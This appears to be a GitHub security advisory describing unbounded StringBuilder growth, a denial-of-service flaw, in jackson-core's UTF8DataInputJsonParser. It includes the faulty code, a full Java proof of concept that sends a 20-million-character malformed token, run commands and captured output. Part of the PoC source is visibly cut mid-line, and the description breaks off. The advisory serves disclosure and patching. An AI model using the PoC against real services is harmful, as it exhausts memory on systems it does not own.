GitHub Advisoryadvisory · Maven

GHSA-7hhh-6rmp-j9qf jackson-core: UTF8DataInputJsonParser._reportInvalidToken() missing maxErrorTokenLength limit -> unbounded StringBuilder growth (DoS)

HIGH Published 2026-10-01 Modified 2026-10-01 Official page ↗
Aliases
CVE-2026-89425
Ecosystem
Maven
Packages
com.fasterxml.jackson.core:jackson-core, tools.jackson.core:jackson-core
Severity
High
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Weaknesses
CWE-400, CWE-770
Reviewed
2026-10-01

Affected packages

• Maven com.fasterxml.jackson.core:jackson-core: >= 2.19.0, < 2.21.7 → fixed in 2.21.7 • Maven com.fasterxml.jackson.core:jackson-core: >= 2.22.0, < 2.22.3 → fixed in 2.22.3 • Maven tools.jackson.core:jackson-core: >= 3.0.0, < 3.1.7 → fixed in 3.1.7 • Maven tools.jackson.core:jackson-core: >= 3.2.0, < 3.2.3 → fixed in 3.2.3 • Maven com.fasterxml.jackson.core:jackson-core: >= 2.8.0, < 2.18.11 → fixed in 2.18.11

Description

Status FULLY REPRODUCED. A malformed token fed through `createParser(DataInput)` produced a 20,000,109-character exception message from a 20-million-character attacker payload, while the identical payload fed through `createParser(InputStream)` produced a correctly bounded 367-character message. Affected Component / Version • Package: `com.fasterxml.jackson.core:jackson-core` • Confirmed against: `jackson-core-2.20.2` • Affected file: `src/main/java/com/fasterxml/jackson/core/json/UTF8DataInputJsonParser.java` (`_reportInvalidToken(int, String, String)`, lines ~2763-2780 in the 2.20.2 tree) Technical Analysis `UTF8DataInputJsonParser._reportInvalidToken()` builds the offending-token description for its exception message by appending identifier characters one at a time to a bare `StringBuilder`: ```java protected void _reportInvalidToken(int ch, String matchedPart, String msg) throws IOException { StringBuilder sb = new StringBuilder(matchedPart); while (true) { char c = (char) _decodeCharForError(ch); if (!Character.isJavaIdentifierPart(c)) { break; } sb.append(c); ch = _inputData.readUnsignedByte(); } _reportError("Unrecognized token '"+sb.toString()+"': was expecting "+msg); } ``` There is no check against `ErrorReportConfiguration.getMaxErrorTokenLength()` (default 256) anywhere in this loop. By contrast, the sibling `UTF8StreamJsonParser` implementation of the same logic does enforce it: ```java // UTF8StreamJsonParser.java (control, correctly bounded) if (sb.length() >= _ioContext.errorReportConfiguration().getMaxErrorTokenLength()) { sb.append("..."); break; } ``` `ReaderBasedJsonParser` and `NonBlockingUtf8JsonParserBase` also correctly enforce the limit — this is a defect isolated to the `DataInput`-backed implementation specifically, confirmed by direct comparison of all four parser implementations in this tree. This path is additionally left with no fallback control: because of `[core#1570]`-related logic in `JsonFactory`, configuring `maxDocumentLength` causes `DataInput`-sourced parser creation to be rejected outright, so a document-length backstop cannot coexist with this input source, and the identifier-character accumulation never passes through `ReadConstrainedTextBuffer`, so `maxStringLength` does not apply either. There is no configuration an application can set to mitigate this specific path. Reproduction Procedure Same clone/build steps as `jackson-core_1_...md`. Then: ```bash CP="build/classes:build/lib/fastdoubleparser-2.0.1.jar" javac -cp "$CP" -d poc poc/PoC6_UnboundedErrorTokenStringBuilder.java java -Xmx2g -cp "poc:$CP" PoC6_UnboundedErrorTokenStringBuilder ``` Full PoC Source (`poc/PoC6_UnboundedErrorTokenStringBuilder.java`) ```java import com.fasterxml.jackson.core.*; import java.io.DataInputStream; import java.io.IOException; import java.io.InputStream; public class PoC6_UnboundedErrorTokenStringBuilder { static class RepeatingByteInputStream extends InputStream { private final int b; private long remaining; RepeatingByteInputStream(int b, long count) { this.b = b; this.remaining = count; } @Override public int read() { if (remaining 1_000_000)); } System.out.println("\n=== (b) UTF8StreamJsonParser via createParser(InputStream), SAME malformed input ==="); { InputStream raw = concat3("{\"a\": t".getBytes("UTF-8"), new RepeatingByteInputStream('x', IDENTIFIER_CHAR_COUNT), " }".getBytes("UTF-8")); JsonFactory factory = new JsonFactory(); JsonParser p = factory.createParser(raw); long t0 = System.nanoTime(); String message = null; try { p.nextToken(); p.nextToken(); p.nextToken(); } catch (JsonParseException e) { message = e.getOriginalMessage() != null ? e.getOriginalMessage() : e.getMessage(); } catch (IOException e) { message = "(stream ended: " + e + ")"; } long elapsedMs = (System.nanoTime() - t0) / 1_000_000; int msgLen = message == null ? -1 : message.length(); System.out.println("Exception message length: " + msgLen + " characters"); System.out.println("Elapsed time: " + elapsedMs + " ms"); System.out.println("Message length bounded near default maxErrorTokenLength (256)? " + (msgLen < 500)); } } static InputStream concat3(byte[] prefix, InputStream middle, byte[] suffix) { InputStream first = new java.io.SequenceInputStream(new java.io.ByteArrayInputStream(prefix), middle); return new java.io.SequenceInputStream(first, new java.io.ByteArrayInputStream(suffix)); } static long usedHeap() { Runtime rt = Runtime.getRuntime(); System.gc(); return rt.totalMemory() - rt.freeMemory(); } } ``` Captured Evidence (actual run output) ``` Malformed token: "t" followed by 20000000 Java-identifier characters ('x'), then a terminating space, never completing "true"/"false"/"null"/NaN. === (a) UTF8DataInputJsonParser via createParser(DataInput) === Exception message length: 20000109 characters Elapsed time: 81 ms Approx additional heap used (best-effort, GC-noisy): 38 MB Message length is proportional to the full 20000000-character attacker payload (unbounded)? true === (b) UTF8StreamJsonParser via createParser(InputStream), SAME malformed input === Exception message length: 367 characters Elapsed time: 7 ms Message length bounded near ErrorReportConfiguration.getMaxErrorTokenLength() (default 256)? true ``` The same 20-million-character malformed token, fed to the two parser variants, produces a 367-character message via the correctly-bounded `InputStream` path and a 20,000,109-character message via the vulnerable `DataInput` path — a difference of roughly 54,500x for identical input, conf…

Related

Alias · CVE (1)

  • CVE-2026-89425 UTF8DataInputJsonParser._reportInvalidToken() in FasterXML jackson-core builds the offending-token text for its error message by appending… vulnerability

Weakness · CWE (2)

  • CWE-400 Uncontrolled Resource Consumption weakness
  • CWE-770 Allocation of Resources Without Limits or Throttling weakness

References